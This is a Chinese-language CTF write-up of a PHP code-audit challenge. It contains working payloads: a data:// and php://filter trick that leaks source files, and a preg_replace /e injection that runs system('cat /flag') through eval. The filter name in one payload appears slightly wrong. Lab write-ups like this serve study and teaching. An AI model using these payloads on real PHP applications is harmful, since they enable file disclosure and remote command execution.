进入环境,代码审计
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
这里就是利用php://input或者data://绕过file_get_contents
第二个include,file函数我们用php://filter读取提示的next.php文件
payload:
?text=data://,text/plain,I have a dream&file=php://filter/read=convert.base64/resource=next.php
base64解码得到next.php文件内容
<?php $id = $_GET['id']; $_SESSION['id'] = $id;
function complex($re, $str)
{
return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str);
}
foreach($_GET as $re => $str)
{
echo complex($re, $str). "\n";
}
function getFlag()
{ @eval($_GET['cmd']); }
这里利用preg_replace /e的命令执行漏洞
return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str);相当于是eval(strtolower("\\1"))
strtolower是把字符串变成小写
\\1=>\1,这里\1的意思
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
即我们构造一个缓冲区,就是一号缓冲区\1了
{${xxx}}或者${xxx},因为我们需要利用getFlag里的cmd去执行cat /flag
所以xxx就是getFlag()了
然后这个缓冲区需要一个参数
preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(preg_replace 函数的第二个参数)当做代码来执行
漏洞官方给出的参数是.*但是在这里get传入的.会被替换为_
所以我们换一个符号,经测试\C,D,E,S,H,N,V,X*都行
payload:
?\C*=${getFlag()}&cmd=system('cat /flag');
.